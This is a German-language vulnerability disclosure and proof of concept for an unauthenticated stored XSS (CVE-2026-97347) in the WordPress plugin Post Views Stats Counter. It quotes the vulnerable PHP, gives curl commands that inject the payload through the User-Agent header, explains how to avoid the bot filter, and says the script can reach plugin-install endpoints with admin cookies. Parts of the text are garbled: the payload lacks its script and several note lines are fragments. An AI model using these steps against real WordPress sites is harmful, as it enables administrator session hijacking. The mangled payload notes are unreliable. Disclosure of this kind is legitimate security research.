
Proof-of-Concept für CVE-2026-97347, eine nicht authentifizierte gespeicherte XSS-Schwachstelle im WordPress-Plugin Post Views Stats Counter über den User-Agent-Header, mit Schritten zur Reproduktion.
| Plugin | Post Views Stats Counter |
| Betroffene Version | ≤ 1.1.7 |
| Fehlerklasse | Nicht authentifiziertes gespeichertes XSS |
| Einstiegspunkt | User-Agent-HTTP-Header |
| Sink | Admin-Statistikseite (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 Hoch |
| Status | Zum Zeitpunkt der Offenlegung ungepatcht, bislang keine bekannten gepatchten Versionen |
| Forscher | Nawaf Althurwi |
Das Plugin zeichnet jeden Seitenaufruf auf, einschließlich des User-Agent-Headers des Besuchers, und speichert ihn in einer benutzerdefinierten Tabelle (wp_pvs_counter). Hier wird der Header abgegriffen — an keiner Stelle im Pfad erfolgt eine Bereinigung:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
Die einzige Verteidigung auf dem Weg hinein ist ein Bot-Filter, und dieser ist lediglich eine Substring-Blacklist:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
Die Standardliste ist bot, spider, crawler. Alles, was diese Teilstrings nicht enthält, wird gespeichert. Das ist der gesamte Filter.
Auf der Ausgabeseite erstellt die Admin-Seite ein Dropdown-Menü mit „registrierten User-Agents“ und gibt den gespeicherten Wert roh innerhalb des <option>-Tags aus — esc_attr() schützt das value-Attribut, aber die sichtbare Beschriftung ist ein einfaches Echo:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Eine nicht authentifizierte Anfrage mit HTML im User-Agent-Header wird also im Browser des Administrators ausgeführt, sobald dieser das nächste Mal die Statistikseite des Plugins öffnet. Klassisches gespeichertes XSS, keine Authentifizierung, keine Interaktion des Opfers erforderlich, außer dass es sein eigenes Dashboard aufruft.
Eine weitere Einschränkung, die man kennen sollte: Die Spalte useragent ist varchar(155), daher muss die Payload unter 155 Zeichen bleiben.
Jede protokollierte URL funktioniert — die Startseite /?p=1 ist in Ordnung. Ersetze TARGET durch den WordPress-Host und YOUR_PAYLOAD durch das, was du in der Sitzung des Administrators ausführen möchtest:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Hinweise zur Struktur der Payload:
</option></select> bricht den Wert aus dem Dropdown-Markup aus — es ist keine Dekoration, ohne es bleibt die Injection im <option>-Tag gefangen.bot/spider/crawler (Groß-/Kleinschreibung wird nicht unterschieden), sonst wird die Anfrage als Bot gefiltert, bevor sie die Datenbank erreicht.alert() möchtest, verwende stattdessen   — manche HTTP-Clients verfälschen Leerzeichen in Header-Werten.Der Einzeiler, den ich in meinem Labor verwendet habe:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Nur ein einfaches curl. HTTP 200 bedeutet, dass die Ansicht gezählt und der Header in die Datenbank geschrieben wurde.
Öffnen Sie als Administrator Einstellungen → Post Views Stats Counter (oder aktualisieren Sie einfach, falls es bereits geöffnet ist). Die Payload wird als Teil der Statistik-Widget-Liste gerendert und das onerror wird ausgelöst:

S:C-Scopes — das XSS läuft auf wp-admin, sodass es admin-ajax- und Plugin-Install-Endpunkte mit den Cookies des Administrators aufrufen kann)
Höhere Qualität zum Durchspulen/Pausieren: exploit-vid.mp4
Getestet gegen Version 1.1.7 auf WordPress 6.x in einem lokalen Docker-Lab. Nicht authentifiziert, keine Benutzerinteraktion außer dem Öffnen der Statistikseite.